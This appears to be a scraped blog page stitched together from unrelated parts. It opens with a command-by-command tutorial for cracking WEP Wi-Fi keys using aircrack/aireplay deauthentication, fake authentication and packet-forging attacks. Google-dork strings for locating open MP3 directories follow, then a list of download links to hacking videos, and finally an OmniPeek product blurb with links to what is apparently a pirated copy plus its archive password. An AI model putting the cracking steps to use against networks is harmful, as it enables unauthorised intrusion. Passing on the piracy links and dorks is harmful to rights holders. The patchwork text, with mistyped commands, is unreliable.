1. Download BackTrack (http://www.remote-exploit.org/index.php/BackTrack_Downloads)

2. Install BackTrack to your hd or just boot the live cd (username: root, password: toor; Don’t froget to start the gui: type in startx on the command lien after logging in).

3. Start up a terminal and set your wireless interface in monitor mode.

iwconfig [wireless interface] mode monitor

* to find out what your wireless interface is, type iwconfig and press enter. All interfaces will show up (mine is ath0).

4. Start airodump by typing in the terminal (press enter after typing it in)

airodump-ng –ivs -w capture [wireless interface]

5. When airodump found the network you want to hack it’ll show up. Note the BSSID (acces point’s mac address) and the SSID (the access point’s name). Don’t close this terminal window or stop airodump from running before you have the wep key!

##### Generating data, method one: There are clients visible in airodump associated to the network #####

1. Open a new terminal window and type in (press enter after typing in):

aireplay-ng [wireless interface] –arpreplay -e [the SSID which you found with airodump] -b [the BSSID you found wth airodump] -h 01:02:03:04:05:06

2. Open another new terminal window and type in (press enter after typing in):

aireplay-ng [wireless interface] –deauth 10 -a [the client’s MAC adress]

3. Wait a long time, aproximatly 10 minutes. You should see the data field in airodump raising. If you have around 500k of data, go to the cracking step of this tutorial.

##### Generating data, method two: There are NO clients visible in airodump associated to the network #####

1. Open a new terminal window and type in (do NOT press the enter button!)

aireplay-ng [wireless interface] –arpreplay -e [the SSID which you found with airodump] -b [the BSSID you found wth airodump] -h 01:02:03:04:05:06

2. Open another new terminal window and type in (do NOT press the enter button!):

aireplay-ng [wireless interface] –fakeauth -e [the SSID which you found with airodump] -a [the BSSID you found wth airodump] -h 01:02:03:04:05:06

3. Press enter in the fakeauth terminal and after it started to fakeauth, press enter as quickly as possible in the arpreplay window.

3. Open another new terminal window and type in (press enter after typing in):

aireplay-ng [wireless interface] –deauth 10 -a 01:02:03:04:05:06

4. Wait a long time, aproximatly 10 minutes. You should see the data field in airodump raising. If you have around 500k of data, go to the cracking step of this tutorial.

##### If the above two methods aren’t working, try this #####

1. Open a new terminal window and type in (press the enter button after typing it in):

aireplay-ng [wireless interface] –fakeauth -e [the SSID which you found with airodump] -a [the BSSID you found wth airodump] -h 01:02:03:04:05:06

2. Open another new terminal window and type in (press the enter button after typing it in):

aireplay-ng [wireless interface] –chopchop -e [the SSID which you found with airodump] -b [the BSSID you found wth airodump] -h 01:02:03:04:05:06

3. The chopchop starts reading packages. When it finds one, it’ll ask you to use it. Choose yes. Wait a few seconds/minutes and remember the filename that is given to you at the end.

4. Open Ethereal (click the icon in the bottom left corner > Backtrack > Sniffers > Ethereal) and open the xor file made with the chopchop attack in Ethereal (it’s located in the home folder)

5. Look with Ethereal in the captured file. Try to find the source ip and the destination ip: write those addresses down somewhere.

6. open a terminal and type in (press enter after typing in):

arpforge-ng [the name of the xor file from the chopchop attack] 1 [the BSSID you found wth airodump] 01:02:03:04:05:06 [the source ip] [the destination ip] arp.cap

7. In a new or in the same terinal window, type in (and press enter):

aireplay-ng -2 ath0 -r arp.cap

5. Wait a long time, aproximatly 10 minutes. You should see the data field in airodump raising. If you have around 500k of data, go to the cracking step of this tutorial.

##### The actual cracking of the WEP key #####

1. Open a new terminal window and type in

airecrack-ng -n 64 capture-01.ivs (for a 64 bits encryption, enter after typing)

or

airecrack-ng -n 128 capture-01.ivs (for a 128 bits encryption, enter after typing)

If you don’t know how strong the encryption is, type in both in different terminals and start a third terminal. Type in this code:

airecrack-ng capture-01.ivs

2. Wait a few minutes. Check the terminal(s). The code will automaticly show up if found. Keep airodump running!
DISLAIMER:I don’t think I have to mention that you need written permission from the owner of the network before you are allowed to start cracking his wep or even before you are allowed to capture packages. Just try it with your own network. You’ll learn a lot about it. But never ever try it with another network than your own.

Note :
[Directory String]
- “index of”
- “last modified”
- “parent of”

[File Type]
- “mo3″
- “wma”
- “shn”

[MP3 Name]
- Nama Album
- Nama Artis
- Judul Lagu
- Creativitas User

[Limitors]
-html -htm -php -asp -txt -pls

Format Stringnya :
1. [Directory String] + (inurl:)[file type] + [mp3 name]
2. [Directory String] + (intitle:)[file type] + [mp3 name]
3. [Directory String] + [file type] + [mp3 name] + [limitors]
4. intitle:index.of + mp3 + “grandaddy” -html -htm -php -asp apache feb-2005
5. intitle:index.of + mp3 + “grandaddy” -html -htm -php -asp apache 2005
6. intitle:index.of + mp3 + -html -htm -php -asp apache mar
7. “xitami web server” + (inurl:)[file type] + [mp3 name]
8. “xitami web server” + (intitle:)[file type] + [mp3 name]
9. “directory listings” + (inurl:)[file type] + [mp3 name]
10. “directory listings of” + (inurl:)[file type] + [mp3 name]
11. “directory listings of” + (intitle:)[file type] + [mp3 name]
12. [mp3 name].mp3 -playlist -filetype:txt

Download video tutorial hacking WEP wireless

128 Bit Wep Cracking With Injection!.swf
http://rapidshare.com/files/31477043/hv1.rar

A Penetration Attack Reconstructed.avi
http://rapidshare.com/files/31480758/hv2.rar

A Quick and Dirty Intro to Nessus using the Auditor Boot CD!.swf
http://rapidshare.com/files/31481861/hv3.rar

Adding Modules to a Slax or Backtrack Live CD from Windows.swf
http://rapidshare.com/files/31482388/hv4.rar

Airplay replay attack – no wireless client required.swf
http://rapidshare.com/files/31482894/hv5.rar

Anonym.OS LiveCD with build in Tor Onion routing and Privoxy.swf
http://rapidshare.com/files/31483265/hv6.rar

BackTrack LiveCD to HD Installation Instruction Video.swf
http://rapidshare.com/files/31483709/hv7.rar

Basic Nmap Usage!.swf
http://rapidshare.com/files/31484459/hv8.rar

Basic Tools for Wardriving!.swf
http://rapidshare.com/files/31485447/hv9.rar

Bluesnarfer attack tool demonstration.swf
http://rapidshare.com/files/31486249/hv10.rar

Bluesnarfing a Nokia 6310i hand set.avi
http://rapidshare.com/files/31486983/hv11.rar

Breaking WEP in 10 minutes.avi
http://rapidshare.com/files/31489615/hv12.rar

Cain to ARP poison and sniff passwords!.avi
http://rapidshare.com/files/31489735/hv13.rar

Complete Hacking Video using Metasploit – Meterpreter.swf
http://rapidshare.com/files/31490690/hv14.rar

Cracking a 128 bit WEP key (Auditor).swf
http://rapidshare.com/files/31496176/hv15.rar

Cracking a 128 Bit Wep key + entering the cridentials.swf
http://rapidshare.com/files/31498043/hv16.rar

Cracking Syskey and the SAM on Windows Using Samdump2 and John!.swf
http://rapidshare.com/files/31498481/hv17.rar

Cracking Windows Passwords with BackTrack and the Online Rainbow Tables at Plain-Text!.swf
http://rapidshare.com/files/31499002/hv18.rar

Cracking WPA Networks (Auditor).swf
http://rapidshare.com/files/31500300/hv19.rar

DoS attack against Windows FTP Server – DoS.avi
http://rapidshare.com/files/31501194/hv20.rar

Droop s Box Simple Pen-test Using Nmap, Nikto, Bugtraq, Nslookup and Other Tools!.swf
http://rapidshare.com/files/31501876/hv21.rar

Exploiting some bugs of tools used in Windows.swf
http://rapidshare.com/files/31504093/hv22.rar

Exploiting weaknesses of PPTP VPN (Auditor).swf
http://rapidshare.com/files/31505446/hv23.rar

Finding Rogue SMB File Shares On Your Network!.swf
http://rapidshare.com/files/31505931/hv24.rar

Fun with Ettercap Filters!.swf
http://rapidshare.com/files/31506167/hv25.rar

How to crack the local windows passwords in the SAM database.swf
http://rapidshare.com/files/31506295/hv26.rar

How to decrypt SSL encrypted traffic using a man in the middle attack (Auditor).swf
http://rapidshare.com/files/31509029/hv27.rar

How to sniff around switches using Arpspoof and Ngrep!.avi
http://rapidshare.com/files/31512416/hv28.rar

Install VNC Remotely!.avi
http://rapidshare.com/files/31512417/hv29.rar

Internet Explorer Remote Command Execution Exploit (CMDExe) Client Side Attack (Hi-Res).avi
http://rapidshare.com/files/31512418/hv30.rar

Internet Explorer Remote Command Execution Exploit (CMDExe) Client Side Attack (Lo-Res).avi
http://rapidshare.com/files/31514267/hv31.rar

John The Ripper 1.7 password cracker Installation Instruction Video.swf
http://rapidshare.com/files/31514447/hv32.rar

Local Password Cracking Presentation for the Indiana Higher Education Cybersecurity Summit 2005!.swf
http://rapidshare.com/files/31514918/hv33.rar

MAC Bridging with Windows XP and Sniffing!.swf
http://rapidshare.com/files/31515325/hv34.rar

Mass De-Authentication using void11 (Auditor).swf
http://rapidshare.com/files/31516717/hv35.rar

Metasploit Flash Tutorial!.swf
http://rapidshare.com/files/31516967/hv36.rar

MITM Hijacking.wmv
http://rapidshare.com/files/31519959/hv37.rar

Nmap Video Tutorial 2 Port Scan Boogaloo!.swf
http://rapidshare.com/files/31522321/hv38.rar

Sniffing logins and passwords.avi
http://rapidshare.com/files/31522322/hv39.rar

Sniffing Remote Router Traffic via GRE Tunnels (Lo-Res).avi
http://rapidshare.com/files/31526967/hv41.rar

Sniffing VoIP Using Cain!.swf
http://rapidshare.com/files/31529820/hv42.rar

Snort Instruction video – howto install into backtrack.swf
http://rapidshare.com/files/31529822/hv43.rar

SSH Dynamic Port Forwarding!.swf
http://rapidshare.com/files/31529823/hv44.rar

Start a session and get interactive commandline access to a remote Windows box!.avi
http://rapidshare.com/files/31529824/hv45.rar

Telnet Bruteforce.avi
http://rapidshare.com/files/31529825/hv46.rar

Tunneling Exploits through SSH.avi
http://rapidshare.com/files/31529826/hv47.rar

Use Brutus to crack a box running telnet!.avi
http://rapidshare.com/files/31530857/hv48.rar

Using NetworkActiv to sniff webpages on a Wi-Fi network!.swf
http://rapidshare.com/files/31530858/hv49.rar

WEP Cracking using Aireplay v2.2 Beta 7 (Whax 3.0).swf
http://rapidshare.com/files/31530859/hv50.rar

WMF File Code Execution Vulnerability With Metasploit!.swf
http://rapidshare.com/files/31530860/hv51.rar

WPA Cracking using Aireplay v2.2 Beta 7 (Whax 3.0).swf
http://rapidshare.com/files/31530861/hv52.rar

WildPackets OmniPeek Enterprise with Enhanced Voice Option combines all of the features of the OmniPeek product line in one product, including support for local captures from multiple interfaces and connections to an unlimited number of OmniEngines. It also supports data collection from any network topology, including Gigabit networks, WAN links and local matrix switches.

OmniPeek Enterprise is ideal for IT organizations responsible for network analysis and network services SLAs for the entire organization. A license of OmniPeek Enterprise should be considered for each location that will be supported by a network engineering professional. OmniPeek Enterprise also supports the Enhanced Voice Option.

New Things in Omni v5:

1. Support for 802.11n
OmniPeek with 802.11n enhancements is capable of capturing, decoding, analyzing and displaying all 802.11n traffic. It works with many commercially available 802.11n wireless adapters to capture traffic, including management and data frames. It decodes all 11n-specific informa-tion, whether that information is in SISO beacons (beacons that any 802.11 AP or client can receive) or 11n-specific packets. OmniPeek detects and reports the presence of 802.11n APs and their capabilities, and compiles the results from all captured and decoded packets into detailed statistics and expert analyses. Displayed data follows the user-friendly and award-winning WildPackets UI elements, significantly reducing the learning curve of analyzing 802.11n traffic.

2. Omni Virtual Network Service
A new addition to the OmniAnalysis Platform, the Omni Virtual Network Service is a lightweight traffic-capture service that enables IT engineers to capture and analyze the ‘invisible traffic’ on virtual servers. ‘Invisible traffic’ is traffic on virtual servers which never crosses a physical network segment where it can be captured. Omni Virtual Network Service helps organizations troubleshoot and optimize the network environment on these servers to ensure the proper functionality in data centers and server farms.

3. Next-Generation Network Forensics
OmniAnalysis 5 also includes WildPackets next-generation network forensics capabilities for capturing and analyzing historical network traffic. WildPackets network forensics solutions, typically featuring an Omni pliance network recorder, can be used for performing retrospective analysis on network traffic for network trouble-shooting, application performance benchmarking, security attack analysis, HR and policy compliance investigations, and transaction analysis.
The value of WildPackets’ network forensics capabilities is in its ability to capture, search and gather the actual traffic for analysis using the same environment as real time troubleshooting. OmniAnalysis 5 adds the ability to replay applications including web pages, email traffic, IM, and VoIP call playback so investigators can see what users are doing. New memory management and UI enhancements make data queries even faster, more efficient, and more precise.

4. Instant Visibility
In an effort to further expose network conditions with enhanced visibility, WildPackets introduces a number of new displays within OmniAnalysis 5 – the new OmniPeek Dashboard and new wireless and Apdex displays.

5. Improved Media Support
To deploy and maintain a successful Voice over IP (VoIP) implementation, you need to be able to analyze and troubleshoot voice traffic and the network the voice traffic is running on. You need to be able to understand how other applications are affecting voice traffic – and vice versa.
In OmniAnalysis 5, the Enhanced Media Option now has its media analysis fully integrated with the expert network heuristics which allows for the support of simultaneous media analysis and network infrastructure analysis. The Enhanced Media Option allows for the detailed analysis of both the signaling (call set-up) and the payload (the actual voice or video) as well as the ability for VoIP call playback.

6. 10GbE
With OmniAnalysis 5, WildPackets also introduces new 10 Gigabit hardware. Leveraging this specialized hardware, engineers can effectively use OmniAnalysis to capture and analyze traffic from 10 Gigabit segments.

* Real-time VoIP Media Analysis:
The VoIP Media view provides unique real-time VoIP troubleshooting and call drill-down capabilities, such as extensive select-related and parameter filtering capabilities that lead to faster problem identification and resolution. It offers complete, real-time VoIP Media analytics to verify call quality using R-Factor and MOS Score measurements.

* Real-time Application Analysis:
The Omni Expert collects network traffic into conversations. OmniPeek is able to aggregate these conversations by application and rate user satisfaction.

* Visual Expert:
Visual Expert includes a wealth of accessible tools to perform detailed analysis of conversation flows. These include the Packet Visualizer which shows the interactive requests and responses between the client and the server, payload reconstruction which can show the contents of the flow, a wide range of new conversation-oriented graphs including tcptrace.

* Real-Time Expert Analysis:
OmniPeek displays Expert System diagnoses by conversation pair, so you can instantly identify where problems are occurring on the network. Other companies’ analyzers hide this information, listing their alarms by OSI layer. The Expert EventFinder in OmniPeek provides descriptions, and possible causes and remedies for each of the problem conditions the Expert identifies. The Network Policy Violation Detection allows the user to create, edit, save and reload named descriptions of a particular network-its participants and their expected behavior-for the Expert to use in detecting Network Policy violation events.

* Expert Mapping:
The OmniPeek Expert Peer Map shows all communicating nodes within your network and is drawn as a vertically-oriented ellipse, able to grow to the size necessary. Reading the Peer Map is easy; the thicker the line between nodes, the greater the traffic; the bigger the dot, the more traffic through that node. The number of nodes displayed can also be limited to the busiest and/or active nodes, or to any OmniPeek filters that may be in use.

* Wireless Network Security – WPA/PSK Support:
In addition to WEP (Wired Equivalent Privacy) support, OmniPeek allows users to specify the WPA (Wi-Fi Protected Access) pre-shared key set for their network now. This means that OmniPeek will decode and decrypt an encrypted packet with your user-defined WPA keys, allowing application layer analysis.

* On-the-Fly Filters:
You shouldn’t have to stop your analysis to change what you’re looking at it. OmniPeek enables you to create filters and apply them immediately.

* Global Real-Time Troubleshooting:
Through the OmniPeek interface, OmniAnalysis extends real-time troubleshooting to network segments around the world, delivering expert network analysis, detailed node, protocol, and network summary statistics, and even packet decoding, on multiple segments, by multiple users, in real time.

* Enhanced Voice Option:
WildPackets Enhanced Voice Option – provides users with the visibility and analysis they need in order to keep VoIP applications and non-voice applications running optimally on the network. Through the Enhanced Voice Option, users gain access to a wealth of detailed call quality statistics, graphical representations of the voice traffic and detailed diagnostic information. Specific signaling and call playback capabilities complete the enhanced VoIP analysis capabilities.

Features and Benefits:

* Real-Time Troubleshooting & VoIP Call Summary:
OmniPeek Enterprise with Enhanced Voice Option is the only network analyzer offering Ethernet, Wireless, Gigabit, WAN, and VoIP diagnostics in real-time. The Expert view provides in-depth analysis of latency, throughput, and numerous network problems in a conversation-centered display. Many of the test elements have user-defined settings and thresholds, allowing you to fine-tune the Expert System to suit your network environment.

* VoIP Signaling Analysis:
OmniPeek Enterprise with Enhanced Voice Option supports multiple VoIP signaling protocols including SIP, H.323, MGCP, Megaco, SCCP (Skinny v3.0.3), NCS, TGCP, SIPT, C-SIP and more. OmniPeek Enterprise with Enhanced Voice Option associates all the signaling (including RTCP status reports) and voice streams (RTP) on a per call basis and provides a flow of the signaling messages and endpoints that participate in the call. This includes measuring call setup durations and providing a Call Detail Record (CDR) for each call.

* Media Plane Analysis:
The media plane analysis looks at the packet-level details of RTP and RTCP streams, and evaluates packet inter-arrival time, variation, packet loss, jitter and other parameters. Further, OmniPeek Enterprise with Enhanced Voice Option identifies packets that cause problems like duplicate packets and out of sequence packets. OmniPeek Enterprise with Enhanced Voice Option also provides non-intrusive voice quality monitoring by evaluating Mean Opinion Score (passive MOS) in real-time (based on the ITU standard).

* VoIP Reports and Network Statistics:
OmniPeek Enterprise with Enhanced Voice Option aggregates statistics and measurements of all active sessions to give a complete picture of the VoIP network status. OmniPeek Enterprise with Enhanced Voice Option provides the number of opened calls per signaling type, number of opened media channels and the network throughput of the RTP, RTCP and signaling links. It also reports statistics on jitter, packet loss, and bandwidth.

* Subjective VoIP Quality – Variable Jitter Buffer Playback:
In addition to objective VoIP measurements, OmniPeek Enterprise with Enhanced Voice Option enables users to evaluate voice quality subjectively by using the call playback feature. This feature also allows users to vary the size of the jitter buffer. For instance, when capturing VoIP close to the listener, one can determine if a lower jitter buffer and thus lower delay in delivering voice to the handset, still delivers an acceptable level of quality.

* Passive MOS, R-Factor, and RTD Measurements:

http://rapidshare.com/files/81323520/WildPackets_OmniPeek_v5.part1.rar

http://rapidshare.com/files/81335027/WildPackets_OmniPeek_v5.part2.rar

OmniPeek Enterprise with Enhanced Voice Option provides voice quality measurement over live calls for Passive MOS, R-Factor, and RTD.Rar pass: masassali

mirror

http://rapidshare.com/files/50095149/zopev5.part1.rar

http://rapidshare.com/files/50089122/zopev5.part2.rar

http://rapidshare.com/files/50089695/zopev5.part3.rar

http://rapidshare.com/files/50112510/zopev5.part4.rar